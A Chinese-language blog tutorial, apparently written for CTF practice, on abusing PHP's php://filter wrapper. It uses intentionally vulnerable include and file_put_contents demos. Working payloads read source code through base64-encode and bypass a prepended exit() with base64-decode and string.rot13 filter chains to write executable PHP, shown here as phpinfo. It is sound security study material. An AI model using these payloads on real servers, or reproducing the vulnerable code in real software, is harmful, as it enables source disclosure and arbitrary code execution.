# 前言

谨以此篇记录一下 php://filter 在一些情况下的使用方法,主要是 php://filter 在 file_put_content 写文件时的一些方法,看到网上有很多师傅都有对这一块的文章,这里做一下记录和测试

# 什么是 php://filter

首先来看看官方文档中怎么解释这个伪协议

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

image-20221104201231469

说白了,我们可以通过这个伪协议来读写文件,这也和本篇要记录的使用方法息息相关

# 利用场景

# 配合 include 读取文件

文件包含和 xxe 中会常见到它的身影,本篇主要对文件包含进行测试和记录

demo

<?php
$file=$_GET['file'];
include($file);
?>
//?file=php://filter/read=convert.base64-encode/resource=index.php

image-20221104202523263

可以通过伪协议来读取文件

# 绕过 file_put_conten 中的 exit&die

开始本篇的主要部分

主要分俩种情况

file_put_contents($filename,"<?php exit();".$content);
//file_put_contents($filename,"<?php die();".$content);
file_put_contents($content,"<?php exit();".$content);
//file_put_contents($content,"<?php die();".$content);

首先来说第一种,就是写入文件时,data 部分前拼接上了 exit 或者 die 使得程序提前终止,写入的 data 不能执行,当然绕过的方式也不难,上面再 include 的利用场景中可以看到 base64-encode 编码,当然也有解码,因为 base64 编码字符没有 <?>, 也就不能正常识别

image-20221104203735374

这里利用的就是这个方式

demo

<?php
highlight_file(__FILE__);
$file=$_GET['file'];
$data=$_POST['data'];
@file_put_contents($file,"<?php exit();".$data);
?>
/*get:?file=php://filter/convert.base64-decode/resource=1.php
post:APD9waHAgcGhwaW5mbygpOyA/Pg==
这里post前要加一个字符,什么都行,因为base64是4个字符一起解码,前面的phpexit是7位,如果不补齐解码会将后面的D算上,导致解码不出预期结果
*/

image-20221104204652019

成功写入,在短标签没开启的情况下还有一种方式

php://filter/write=string.rot13/resource=

使用方式相同这里简单的过一下即可

接下来记录第二种情况

在这种情况下就不能再使用 base64,因为 base64 遇到 = 就终止了

data=php://filter/write=string.rot13|<?cuc cucvasb(); ?>|/resource=clown.php

image-20221104211913293